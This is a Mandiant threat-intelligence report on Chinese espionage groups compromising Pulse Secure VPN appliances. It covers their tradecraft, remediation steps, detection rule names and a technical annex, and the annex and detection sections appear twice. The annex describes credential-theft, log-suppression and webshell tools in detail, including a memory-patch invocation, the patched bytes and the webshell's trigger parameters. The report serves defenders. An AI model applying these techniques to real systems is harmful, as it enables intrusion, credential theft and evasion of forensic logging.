Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.

Additional Resources

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with this updated information.

Platform(s)

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FE_APT_Tool_Linux32_BLOODMINE_1
  • FE_APT_Tool_Linux_BLOODMINE_1
  • FE_APT_Tool_Linux32_BLOODBANK_1
  • FE_APT_Tool_Linux_BLOODBANK_1
  • FE_APT_Tool_Linux32_CLEANPULSE_1
  • FE_APT_Tool_Linux_CLEANPULSE_1
  • FE_APT_Webshell_PL_RAPIDPULSE_1
  • FEC_APT_Webshell_PL_RAPIDPULSE_1

Endpoint Security

Real-Time Detection (IOC)

  • BLOODBANK (UTILITY)
  • BLOODMINE (UTILITY)

Helix

Establish Foothold

  • WINDOWS METHODOLOGY [User Account Created]
  • WINDOWS METHODOLOGY [User Created - Net Command]

Escalate Privileges

  • WINDOWS METHODOLOGY [Mimikatz Args]
  • WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts]
  • WINDOWS METHODOLOGY [LSASS Memory Access]
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity]

Internal Reconnaissance

  • WINDOWS ANALYTICS [Recon Commands]

Move Laterally

  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • OFFICE 365 ANALYTICS [Abnormal Logon]

Technical Annex

BLOODMINE

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

The sample takes three command line arguments

  1. Filename to read
  2. Filename to write
  3. Timeout interval

It parses the input file for login status codes:

AUT31504

AUT24414

AUT22673

AUT22886

AUT23574

It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions:

.css

.jpg

.png

.gif

.ico

.js

.jsp

These strings indicate the type of data that is collected from web requests:

Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s

Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s

Logout, IP: %s, User: %s, Realm: %s, Roles: %s

Session end, IP: %s, User: %s, Realm: %s, Roles: %s

New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s

Host check, Policy: %s

WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s

BLOODBANK

BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.

The utility parses the following two files containing password hashes or plaintext passwords:

  • /home/runtime/mtmp/lmdb/data0/data.mdb
  • /home/runtime/mtmp/system

BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target.

PRIMARY

SECONDARY

remoteaddr

[email protected]

logicUR

logicTim

[email protected]

userAge

realm

Sourc

CLEANPULSE

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.

File Name

File Type

Size

Compile Time

dsrlog

ELF.X86

13332

 

The utility expects to be run from the command line as follows:

drslog <pid> <code2_string> <code3_string> <command>

Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either 'e' or 'E' for installation or 'u' or 'U' for uninstallation.

During installation (using the 'e' or 'E' <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process. The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process.

During uninstall (using the 'u' or 'U' <command>) the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros.

The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.

The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.

These bytes correspond to the following two instructions:

.data:0804B138 89 4C 24 08                 mov     [esp+8], ecx

.data:0804B13C FF 52 04                       call    dword ptr [edx+4]

This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.

There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.

RAPIDPULSE

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.

The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value. If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker.

Integrity Checker Tool and Other Validation Checks

In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks.

Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.

✇ Threat Research

Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices

By: Dan Perez

On April 20, 2021, Mandiant published detailed results of our investigations into compromised Pulse Secure devices by suspected Chinese espionage operators. This blog post is intended to provide an update on our findings, give additional recommendations to network defenders, and discuss potential implications for U.S.-China strategic relations.

  • Mandiant continues to gather evidence and respond to intrusions involving compromises of Pulse Secure VPN appliances at organizations across the defense, government, high tech, transportation, and financial sectors in the U.S. and Europe (Figure 1).
  • Reverse engineers on the FLARE team have identified four additional code families specifically designed to manipulate Pulse Secure devices. 
  • We now assess that espionage activity by UNC2630 and UNC2717 supports key Chinese government priorities. Many compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives outlined in China’s recent 14th Five Year Plan.
  • While there is evidence of data theft at many organizations, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.
  • Mandiant Threat Intelligence assesses that Chinese cyber espionage activity has demonstrated a higher tolerance for risk and is less constrained by diplomatic pressures than previously characterized.


Figure 1: Organizations with compromised Pulse Secure devices by vertical and geographic location

Pulse Secure continues to work closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues. Pulse Secure’s parent company, Ivanti, has released patches to proactively address software vulnerabilities and issued updated Security Advisories and Knowledge Articles to assist customers. (Please see the Forensics, Remediation, and Hardening Guidelines section for additional details.)

UNC2630 and UNC2717 Tradecraft and Response to Disclosure

Mandiant is tracking 16 malware families exclusively designed to infect Pulse Secure VPN appliances and used by several cyber espionage groups which we believe are affiliated with the Chinese government. Between April 17 and April 20, 2021, Mandiant incident responders observed UNC2630 access dozens of compromised devices and remove webshells like ATRIUM and SLIGHTPULSE.

  • Under certain conditions, the Integrity Checker Tool (ICT) will show no evidence of compromise on appliances which may have had historical compromise. This false negative may be returned because the ICT cannot scan the rollback partition. If a backdoor or persistence patcher exists on the rollback partition and a Pulse Secure appliance is rolled back to the prior version, the backdoor(s) will be present on the appliance. Please see the Forensics, Remediation, and Hardening Guidelines section for important information regarding the ICT and upgrade process.
  • In at least one instance, UNC2630 deleted their webshell(s) but did not remove the persistence patcher, making it possible to regain access when the device was upgraded.  The remaining persistence patcher causes the malicious code to be executed later during a system upgrade, re-inserts webshell logic into various files on the appliance, and recompromises the device.
  • It is unusual for Chinese espionage actors to remove a large number of backdoors across several victim environments on or around the time of public disclosure. This action displays an interesting concern for operational security and a sensitivity to publicity.

Both UNC2630 and UNC2717 display advanced tradecraft and go to impressive lengths to avoid detection. The actors modify file timestamps and regularly edit or delete forensic evidence such as logs, web server core dumps, and files staged for exfiltration. They also demonstrate a deep understanding of network appliances and advanced knowledge of a targeted network. This tradecraft can make it difficult for network defenders to establish a complete list of tools used, credentials stolen, the initial intrusion vector, or the intrusion start date.

Updates from Incident Response Investigations

We continue to suspect that multiple groups including UNC2630 and UNC2717 are responsible for this activity, despite the use of similar exploits and tools. There is a high degree of variation in attacker actions within victim environments, with actors inconsistently using a combination of tools and command and control IP addresses.

Reverse engineers on the FLARE team have identified four additional malware families specifically designed to manipulate Pulse Secure devices (Table 1). These utilities have similar functions to the 12 previously documented malware families: harvesting credentials and sensitive system data, allowing arbitrary file execution, and removing forensic evidence. Please see the Technical Annex for detailed analysis of these code families.

Malware Family

Description

Actor

BLOODMINE

 

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

UNC2630

BLOODBANK

 

BLOODBANK is a credential theft utility that parses two files containing password hashes or plaintext passwords and expects an output file to be given at the command prompt.

UNC2630

CLEANPULSE

 

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. It was found in close proximity to an ATRIUM webshell.

UNC2630

RAPIDPULSE

 

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file. RAPIDPULSE can serve as an encrypted file downloader for the attacker.

UNC2630

Table 1: New malware families identified

Initial Compromise

The actors leveraged several vulnerabilities in Pulse Secure VPN appliances. Mandiant observed the use of the recently patched vulnerability CVE-2021-22893 to compromise fully patched Pulse Secure appliances as well as previously disclosed vulnerabilities from 2019 and 2020. In many cases, determining the initial exploitation vector and timeframe was not possible to determine because the actors altered or deleted forensic evidence, or the appliance had undergone subsequent code upgrades thereby destroying evidence related to the initial exploitation.

Establish Foothold

In some cases, Mandiant observed the actors create their own Local Administrator account outside of established credential management controls on Windows servers of strategic value. This allowed the actor to maintain access to systems with short-cycle credential rotation policies and provided a sufficient level of access to operate freely within their target environment. The actors also maintained their foothold into the targeted environments exclusively through Pulse Secure webshells and malware without relying on backdoors deployed on internal Windows or Linux endpoints.

Escalate Privileges

Mandiant observed the actors use three credential harvesting techniques on Windows systems:

  • Targeting of clear text passwords and hashes from memory using the credential harvesting tool Mimikatz. Instead of being copied locally and executed on the target system, Mandiant saw evidence of the Mimikatz binary on the source system of an RDP session (i.e. the threat actor’s system that was connected to the VPN) through an RDP mapped drive.
  • Copying and exfiltration of the SAM, SECURITY, and SYSTEM registry hives which contained cached NTLM hashes for Local and Domain accounts.
  • Leveraging the Windows Task Manager process to target the Local Security Authority Subsystem Service (LSASS) process memory for NTLM hashes.

In addition to these privilege escalation techniques, the actors specifically targeted separate privileged accounts belonging to individuals whose unprivileged accounts were previously compromised (likely through the Pulse Secure credential harvesting malware families). It is unclear how the account associations were made by the actor.

Internal Reconnaissance

Mandiant found evidence that the actors renamed their own workstations that they connected to the VPN of victim networks to mimic the naming convention of their target environment. This practice aligns with the actor’s objective for long-term persistence and evading detection and demonstrates a familiarity with the internal hostnames in the victim environment.

The actors operated solely by utilizing Windows-based utilities to carry out tasks. Some of the utilities observed were net.exe, quser.exe, powershell.exe, powershell_ise.exe, findstr.exe, netstat.exe, cmd.exe, reg.exe and tasklist.exe.

Move Laterally

Most lateral movement originated from compromised Pulse Secure VPN appliances to internal systems within the environment.  While connected to the Pulse VPN appliance, the actor’s system was assigned an IP address from the Pulse VPN DHCP pool and they moved laterally throughout the environments by leveraging the Remote Desktop Protocol (RDP), the Secure Shell Protocol (SSH), and browser-based communication to HTTPS hosted resources. The actors also accessed other resources such as Microsoft M365 cloud environments using stolen credentials they had previously acquired.

Mandiant also observed the actors targeting ESXi host servers. The actor enabled SSH on ESXi hosts that were previously disabled via the web interface. When their operations on the system were finished, the actors disabled SSH on the ESXi host again and cleared or preemptively disabled all relevant logging associated with the performed activities. This includes authentication, command history, and message logging on the system.

Maintain Presence

Mandiant observed the threat actor maintain persistence by compromising the upgrade process on the Pulse Secure Appliance.  Persistence was primarily achieved by modifying the legitimate DSUpgrade.pm file to install the ATRIUM webshell across each upgrade performed by an administrator.  The actor likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is applied during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the actor to maintain access to the system across updates.

The actors also achieved persistence in other cases by prepending a bash script to the file /bin/umount normally used to unmount a Linux filesystem. This binary was targeted by the actor because it is executed by the Pulse Secure appliance during a system upgrade. The actor’s script verifies that the umount binary executes with a specific set of arguments, which are identical to the arguments used by the Pulse Secure appliance to executes the binary. The inserted malicious bash script remounts the filesystem as read-write and iterates through a series of bash routines to inject the ATRIUM webshell, hide SLOWPULSE from a legacy file integrity bash script, remove or add itself from the umount file, and validate the web process was running after a reboot to return the filesystem back to read-only.

Complete Mission

The threat actor’s objectives appear to be stealing credentials, maintaining long-term persistent access to victim networks, and accessing or exfiltrating sensitive data. Mandiant has observed the attackers:

  • Staging data related to sensitive projects, often in C:\Users\Public
  • Naming exfiltration archives to resemble Windows Updates (KB) or to match the format KB<digits>.zip
  • Using the JAR/ZIP file format for data exfiltration
  • Deleting exfiltrated archives

Analysis of new malware families is included in the Technical Annex to enable defenders to quickly assess if their respective appliances have been affected. Relevant MITRE ATT&CK techniques, Yara rules and hashes are published on Mandiant’s GitHub page.

Forensics, Remediation, and Hardening Guidelines

To begin an investigation, Pulse Secure users should contact their Customer Support Representative for assistance completing the following steps:

  1. Capture memory and a forensic image of the appliance
  2. Run the Pulse Integrity Checker Tool found online
  3. Request a decrypted image of each partition and a memory dump

To remediate a compromised Pulse Secure appliance:  

  1. Caution must be taken when determining if a Pulse Secure device was compromised at any previous date. If the Integrity Checker Tool (ICT) was not run before the appliance was updated, the only evidence of compromise will exist in the system rollback partition which cannot be scanned by the ICT. If an upgrade was performed without first using the ICT, a manual inspection of the rollback partition is required to determine if the device was previously compromised.
  2. To ensure that no malicious logic is copied to a clean device, users must perform upgrades from the appliance console rather than the web interface. The console upgrade process follows a separate code path that will not execute files such as DSUpgrade.pm.
  3. Previous versions of the ICT will exit if run on an unsupported software version. For every ICT scan, ensure that the ICT would have supported the device's version number.
  4. Reset all passwords in the environment.
  5. Upgrade to the most recent software version.

To secure the appliance and assist with future investigations, consider implementing the following:

  1. Enable unauthenticated logging and configure syslog for Events, User & Admin Access
  2. Forward all logs to a central log repository
  3. Review logs for unusual authentications and evidence of exploitation
  4. Regularly run the Integrity Checker Tool
  5. Apply patches as soon as they are made available

Geopolitical Context and Implications for U.S.-China Relations

In collaboration with intelligence analysts at BAE Systems Applied Intelligence, Mandiant has identified dozens of organizations across the defense, government, telecommunications, high tech, education, transportation, and financial sectors in the U.S. and Europe that have been compromised via vulnerabilities in Pulse Secure VPNs. Historic Mandiant and BAE investigations identified a significant number of these organizations as previous APT5 targets.

Notably, compromised organizations operate in verticals and industries aligned with Beijing’s strategic objectives as outlined in China’s 14th Five Year Plan. Many manufacturers also compete with Chinese businesses in the high tech, green energy, and telecommunications sectors. Despite this, we have not directly observed the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Targets of Chinese cyber espionage operations are often selected for their alignment with national strategic goals, and there is a strong correlation between pillar industries listed in policy white papers and targets of Chinese cyber espionage activity.

China has outlined eight key areas of vital economic interest for development and production which it views as essential to maintaining global competitiveness, under the following categories: energy, healthcare, railway transportation, telecommunications, national defense and stability, advanced manufacturing, network power, and sports and culture.

Historical Context

In the Red Line Drawn report, Mandiant documented a significant decline in the volume of Chinese cyberespionage activity in 2014 and assessed that the restructuring of China's military and civilian intelligence agencies significantly impacted Chinese cyber operations. Then, in September 2015, President Xi of China concluded a bilateral agreement with U.S. President Obama to prohibit state-sponsored theft of intellectual property for the purpose of providing commercial advantage. Commercial IP theft has historically been a prominent characteristic of Chinese cyber espionage activity.

In 2018 we conducted an extensive review of Chinese cyber espionage operations, both before and after the official announcement of the PLA reforms and bilateral agreement to determine if there were any corresponding changes in the tactics, techniques, and procedures (TTPs) used during Chinese cyberespionage operations. We observed two important changes in the type of information stolen and the geographic distribution of the targets.

  • Despite examining hundreds of incidents from January 2016 through mid 2019, we did not find definitive evidence of purely commercial application intellectual property theft in the US. Recent indictments by the US Department of Justice suggest that this theft did occur. While we observed other malicious activity, including geopolitical targeting, theft of intellectual property with military applications, and theft of confidential business information, we did not find evidence that these cyber operations violated the Obama-Xi agreement.
  • Between January 2016 and mid-2019, the geographic focus of Chinese cyber operations shifted dramatically to Asia and away from the U.S. and Europe. While the U.S. remained the single most frequently targeted country, it became a much smaller percentage of observed activity. From 2012–2015, U.S. targeting constituted nearly 70 percent of all observed Chinese cyber espionage, while from January 2016 through August 2019, U.S. targeting fell to approximately 20 percent of Chinese activity. Targeting of Europe represented a similar proportion of overall Chinese activity to targeting of the Americas.

Changes in Chinese Espionage Activity between 2019 and 2021

Based on developments observed between 2019-2021, Mandiant Threat Intelligence assesses that most Chinese APT actors now concentrate on lower-volume but more-sophisticated, stealthier operations collecting strategic intelligence to support Chinese strategic political, military, and economic goals. While some of the technical changes may be the result of the restructuring of China's military and civilian organizations, some changes possibly reflect larger technical trends in cyber operations overall.

  • Before the reorganization, it was common to observe multiple Chinese espionage groups targeting the same organization, often targeting the same types of information. Post-2015, this duplication of efforts is rare.
  • Chinese espionage groups developed more efficient and purposeful targeting patterns by transitioning away from spearphishing and relying on end user software vulnerabilities and instead began exploiting networking devices and web facing applications in novel ways. Chinese APT actors also began to leverage supply chain vulnerabilities and to target third party providers to gain access to primary targets.
  • Recently observed Chinese cyber espionage activity exhibits an increased diligence in operational security, familiarity with network defender investigation techniques, and cognizance of the forensic evidence they leave behind.
  • We observe the resurgence of older Chinese espionage groups, including APT4 and APT5 after long periods of dormancy and currently active groups engage in frequent and widespread campaigns.

Redline Withdrawn?

The Obama-Xi agreement prohibits the theft of intellectual property with purely commercial applications for the purpose of gaining a competitive advantage. It does not cover government or diplomatic information, sensitive business communications, IT data, PII, or intellectual property with military or dual use applications.

  • We have direct evidence of UNC2630, UNC2717 and other Chinese APT actors stealing credentials, email communications, and intellectual property with dual commercial and military applications.
  • Throughout our investigations, we did not directly observe the staging or exfiltration of any data by Chinese espionage actors that could be considered a violation of the Obama-Xi agreement.

Given the narrow definition of commercial intellectual property theft and the limited availability of forensic evidence, it is possible that our assessment will change with the discovery of new information.

Evidence collected by Mandiant over the past decade suggests that norms and diplomatic agreements do not significantly limit China's use of its cyber threat capabilities, particularly when serving high-priority missions.

The greater ambition and risk tolerance demonstrated by Chinese policymakers since 2019 indicates that the tempo of Chinese state-sponsored activity may increase in the near future and that the Chinese cyber threat apparatus presents a renewed and serious threat to US and European commercial entities.

Acknowledgements

Mandiant would like to thank analysts at BAE Systems Applied Intelligence, Stroz Friedberg, and Pulse Secure for their hard work, collaboration and partnership. The team would also like to thank Scott Henderson, Kelli Vanderlee, Jacqueline O'Leary, Michelle Cantos, and all the analysts who worked on Mandiant’s Red Line Redrawn project. The team would also like to thank Mike Dockry, Josh Villanueva, Keith Knapp, and all the incident responders who worked on these engagements.

Additional Resources

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with this updated information.

Platform(s)

Detection Name

Network Security

Email Security

Detection On Demand

Malware File Scanning

Malware File Storage Scanning

  • FE_APT_Tool_Linux32_BLOODMINE_1
  • FE_APT_Tool_Linux_BLOODMINE_1
  • FE_APT_Tool_Linux32_BLOODBANK_1
  • FE_APT_Tool_Linux_BLOODBANK_1
  • FE_APT_Tool_Linux32_CLEANPULSE_1
  • FE_APT_Tool_Linux_CLEANPULSE_1
  • FE_APT_Webshell_PL_RAPIDPULSE_1
  • FEC_APT_Webshell_PL_RAPIDPULSE_1

Endpoint Security

Real-Time Detection (IOC)

  • BLOODBANK (UTILITY)
  • BLOODMINE (UTILITY)

Helix

Establish Foothold

  • WINDOWS METHODOLOGY [User Account Created]
  • WINDOWS METHODOLOGY [User Created - Net Command]

Escalate Privileges

  • WINDOWS METHODOLOGY [Mimikatz Args]
  • WINDOWS METHODOLOGY [Invoke-Mimikatz Powershell Artifacts]
  • WINDOWS METHODOLOGY [LSASS Memory Access]
  • WINDOWS METHODOLOGY [LSASS Generic Dump Activity]

Internal Reconnaissance

  • WINDOWS ANALYTICS [Recon Commands]

Move Laterally

  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • OFFICE 365 ANALYTICS [Abnormal Logon]

Technical Annex

BLOODMINE

BLOODMINE is a utility for parsing Pulse Secure Connect log files. It extracts information related to logins, Message IDs and Web Requests and copies the relevant data to another file.

The sample takes three command line arguments

  1. Filename to read
  2. Filename to write
  3. Timeout interval

It parses the input file for login status codes:

AUT31504

AUT24414

AUT22673

AUT22886

AUT23574

It parses the input file for web results code WEB20174. If it finds a web result code, it looks for file extensions:

.css

.jpg

.png

.gif

.ico

.js

.jsp

These strings indicate the type of data that is collected from web requests:

Web login, IP: %s, User: %s, Realm: %s, Roles: %s, Browser: %s

Agent login, IP: %s, User: %s, Realm: %s, Roles: %s, Client: %s

Logout, IP: %s, User: %s, Realm: %s, Roles: %s

Session end, IP: %s, User: %s, Realm: %s, Roles: %s

New session, IP: %s, User: %s, Realm: %s, Roles: %s, New IP: %s

Host check, Policy: %s

WebRequest completed, IP: %s, User: %s, Realm: %s, Roles: %s, %s to %s://%s:%s/%s from %s

BLOODBANK

BLOODBANK is a credential theft utility that parses two LMDB (an in memory database) files and expects an output file to be given at the command prompt. BLOODBANK takes advantage of a legitimate process that supports Single Sign On functionality and looks for plaintext passwords when they are briefly loaded in memory.

The utility parses the following two files containing password hashes or plaintext passwords:

  • /home/runtime/mtmp/lmdb/data0/data.mdb
  • /home/runtime/mtmp/system

BLOODBANK expects an output file as a command line parameter, otherwise it prints file open error. It contains the following strings which it likely tries to extract and target.

PRIMARY

SECONDARY

remoteaddr

[email protected]

logicUR

logicTim

[email protected]

userAge

realm

Sourc

CLEANPULSE

CLEANPULSE is a memory patching utility that may be used to prevent certain log events from occurring. The utility inserts two strings from the command line into the target process and patches code to conditionally circumvent a function call in the original executable.

File Name

File Type

Size

Compile Time

dsrlog

ELF.X86

13332

 

The utility expects to be run from the command line as follows:

drslog <pid> <code2_string> <code3_string> <command>

Where <pid> is the pid process ID to patch in memory, <code2_string> and <code3_string> are two strings to write into the target process, and <command> is either 'e' or 'E' for installation or 'u' or 'U' for uninstallation.

During installation (using the 'e' or 'E' <command>), the <code2_string> <code3_string> command line strings are written to the target process at hard-coded memory addresses, a small amount of code is written, and a jump instruction to the code snippet is patched in memory of the target process. The added code checks whether an argument is equal to either <code2_string> <code3_string> strings, and if, so skips a function call in the target process.

During uninstall (using the 'u' or 'U' <command>) the patch jump location is overwritten with what appears to be the original 8 bytes of instructions, and the two additional memory buffers and the code snippet appear to be overwritten with zeros.

The CLEANPULSE utility is highly specific to a victim environment. It does not contain any validation code when patching (i.e. verifying that code is expected prior to modifying it), and it contains hard-coded addresses to patch.

The target code to patch appears to be the byte sequence: 89 4C 24 08 FF 52 04. This appears as the last bytes in the patched code, and is the 8-bytes written when the uninstall 'u' command is given.

These bytes correspond to the following two instructions:

.data:0804B138 89 4C 24 08                 mov     [esp+8], ecx

.data:0804B13C FF 52 04                       call    dword ptr [edx+4]

This byte sequence occurs at the hard-coded patch address the utility expects, dslogserver. Based on status and error messages in nearby functions the executable dslogserver appears to be related to log event handling, and the purpose of the CLEANPULSE utility may be to prevent certain events from being logged.

There are several un-referenced functions that appear to have been taken from the open source project PUPYRAT. It is likely that the actor re-purposed this open source code, using PUPYRAT as a simple template project.

RAPIDPULSE

RAPIDPULSE is a webshell capable of arbitrary file read. As is common with other webshells, RAPIDPULSE exists as a modification to a legitimate Pulse Secure file.

The webshell modifies the legitimate file's main routine which compares the HTTP query parameter with key name: deviceid to a specific  key with value. If the parameter matches, then the sample uses an RC4 key  to decrypt HTTP query parameter with key name: hmacTime. This decrypted value is a filename which the sample then opens, reads, RC4 encrypts with the same key, base64 encodes, then writes to stdout. The appliance redirects stdout as the response to HTTP requests. This serves as an encrypted file download for the attacker.

Integrity Checker Tool and Other Validation Checks

In our public report, we noted two code families that manipulate check_integrity.sh, a legitimate script used during a normal system upgrade. This validation script was modified by the actor to exit early so that it would not perform the intended checks.

Per Ivanti, the validation provided by check_integrity.sh is a separate validation feature and not the same as the Integrity Checker Tool (ICT) available on their website. They recommend that organizations use the online ICT to confirm that hashes of files on their Pulse Secure devices match Ivanti’s list of known good hashes. Please note that the ICT does not scan the rollback partition.

❌